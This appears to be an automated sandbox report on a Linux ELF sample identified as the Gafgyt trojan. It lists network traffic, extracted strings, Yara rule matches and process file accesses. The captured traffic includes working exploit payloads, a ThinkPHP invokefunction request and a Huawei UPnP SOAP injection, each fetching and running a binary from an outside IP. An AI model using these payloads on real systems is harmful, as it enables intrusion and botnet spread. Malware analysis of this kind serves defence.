Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0

Source: global traffic

DNS traffic detected: DNS query: vector.mineheaven.org

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ts2d2a5oFa.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.mips
Source: ts2d2a5oFa.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.x86
Source: ts2d2a5oFa.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: ts2d2a5oFa.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: ts2d2a5oFa.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: ts2d2a5oFa.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: ts2d2a5oFa.elf PID: 5437, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKbolonetwork.armbolonetwork.arm5bolonetwork.arm6bolonetwork.arm7bolonetwork.mipsbolonetwork.mpslbolonetwork.x86_64bolonetwork.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinenetstatwgetcurl/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-servershellmnt/sys/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Source: Initial sample	Potential command found: GET / HTTP/1.1
Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST /HTTP/1.1 404 Not FoundServer: Apache %d
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: ts2d2a5oFa.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ts2d2a5oFa.elf PID: 5437, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/3@8/0

Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/5385/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/5279/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/3645/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/3660/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/3661/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/371/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/ts2d2a5oFa.elf (PID: 5441)	File opened: /proc/134/cmdline	Jump to behavior
